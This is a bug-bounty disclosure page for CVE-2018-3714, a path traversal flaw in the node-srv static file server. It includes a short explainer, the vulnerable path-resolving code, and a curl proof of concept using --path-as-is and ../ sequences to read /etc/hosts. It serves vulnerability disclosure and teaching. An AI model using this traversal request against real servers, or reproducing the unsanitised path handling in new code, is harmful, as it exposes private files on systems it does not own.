Skip to content
Path traversal Disclosed report Beginner CVE-2018-3714

[node-srv] Path Traversal allows to read arbitrary files from remote server

The node-srv static file server does not properly sanitise the requested URL path, allowing an attacker to use directory traversal sequences to read arbitrary files outside the web root. An attacker could retrieve sensitive files such as /etc/hosts from the remote server.

bl4de Follow

Originally disclosed on HackerOne

High 8.6 View original
  • Triaged in 12 hours
  • Fixed in 11 days
  • Disclosed after 41 days

Hi Guys,

node-srv contains Path Traversal vulnerability, which allows malicious user to read content of any file with known path.

Module:

Simple static node.js server. Supports Heroku and Grunt.js https://www.npmjs.com/package/node-srv

Description

node-srv does not sanitize path in the correct way, so curl can be used to retrieve content of any file from the remote server.

Steps To Reproduce:

  • install node-srv

$ npm install node-srv

  • create simple server:
JavaScript
//Require module 
var Server = require('node-srv');

// Start server 
var srv = new Server({
    port: 8080,
    root: './',
    logs: true
}, function () {
    console.log('Server stopped');
});
  • run server:
$ node app.js
  • visit http://127.0.0.1:8080 to verify if everything is fine.

  • now, run following curl command (please adjust numbers of ../ to your system):

$ curl -v --path-as-is http://127.0.0.1:8080/node_modules/../../../../../etc/hosts

You should see the content of /etc/hosts file:

1.png
1.png From the original on HackerOne

The problem is that url read from the user is not sanitize in any way against classic ../ path traversal payload:

JavaScript
return new Promise((function(_this) {
        return function(resolve, reject) {
          var uri;
          uri = url.parse(req.url);
          return resolve(uri.pathname);
        };
      })(this)).then((function(_this) {
        return function(pathname) {
          filePath = pathname;
          filePath = filePath.replace(/\/$/, "/" + _this.options.index);
          filePath = filePath.replace(/^\//, "");
          filePath = path.resolve(process.cwd(), _this.options.root || './', filePath);
          return _this.processRequest(res, filePath);
        };

Supporting Material/References:

Configuration I've used to find this vulnerability:

  • macOS HighSierra 10.13.3
  • node 8.9.3
  • npm 5.5.1
  • curl 7.54.0

Wrap up

I hope this report will help to keep Node ecosystem more safe. If you have any questions about any details of this finding, please let me know in comment.

Thank you

Regards,

Rafal 'bl4de' Janicki

Impact

This vulnerability allows malicious user to read content of any file on the server, which leads to data breach or other attacks.

The original report as published on HackerOne, by bl4de. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The server takes the URL path directly from the request and resolves it against the filesystem without checking for directory traversal sequences like '../'.

Impact

This vulnerability allows a malicious user to read the content of any file on the server, which could lead to a data breach or other attacks.

What the attacker needed

Node-srv server running; network access to the server

How it was found

  1. Install the node-srv package.
  2. Create a simple server script using the module.
  3. Run the server.
  4. Visit the server to verify it works.
  5. Send a curl request with --path-as-is and a path containing multiple '../' sequences to reach /etc/hosts.
  6. Observe the contents of /etc/hosts in the response.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A static file server is supposed to only serve files from a specific folder. This one failed to block '..' sequences in the URL, which mean 'go up one folder'. By adding enough of them, an attacker can escape the intended folder and read any file on the machine.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by bl4de

View all

42 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.